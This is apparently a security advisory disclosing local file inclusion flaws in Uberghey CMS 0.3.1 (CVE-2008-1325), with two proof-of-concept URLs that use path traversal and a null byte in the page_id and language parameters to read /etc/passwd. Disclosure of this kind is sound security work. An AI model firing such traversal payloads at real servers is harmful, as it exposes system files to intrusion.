Uberghey CMS 'index.php' Multiple Local File Include Vulnerabilities

Bugtraq ID:	28217
Class:	Input Validation Error
CVE:	CVE-2008-1325
Remote:	Yes
Local:	No
Published:	Mar 12 2008 12:00AM
Updated:	May 07 2015 05:32PM
Credit:	muuratsalo discovered these vulnerabilities.
Vulnerable:	Uberghey Uberghey 0.3.1
Not Vulnerable:

Uberghey CMS 'index.php' Multiple Local File Include Vulnerabilities

Uberghey CMS is prone to multiple local file-include vulnerabilities because it fails to properly sanitize user-supplied input.

Exploiting these issues may allow an attacker to access potentially sensitive information and execute arbitrary local scripts in the context of the affected application.

Uberghey CMS 0.3.1 is vulnerable; other versions may also be affected.

Uberghey CMS 'index.php' Multiple Local File Include Vulnerabilities

Attackers may exploit these issues with a browser.

The following proof-of-concept URIs are available:

http://www.example.com/uberghey-0.3.1/index.php?page_id=../../../../../../../../../../etc/passwd%00
http://www.example.com/uberghey-0.3.1/index.php?language=../../../../../../../../../../etc/passwd%00

Uberghey CMS 'index.php' Multiple Local File Include Vulnerabilities

Solution:
Currently we are not aware of any vendor-supplied patches for these issues. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

Uberghey CMS 'index.php' Multiple Local File Include Vulnerabilities

References:

• Uberghey Sourceforge Page (Uberghey)
  
• uberghey cms 0.3.1 multiple local file inclusion vulnerabilities ("muuratsalo experimental hack lab" )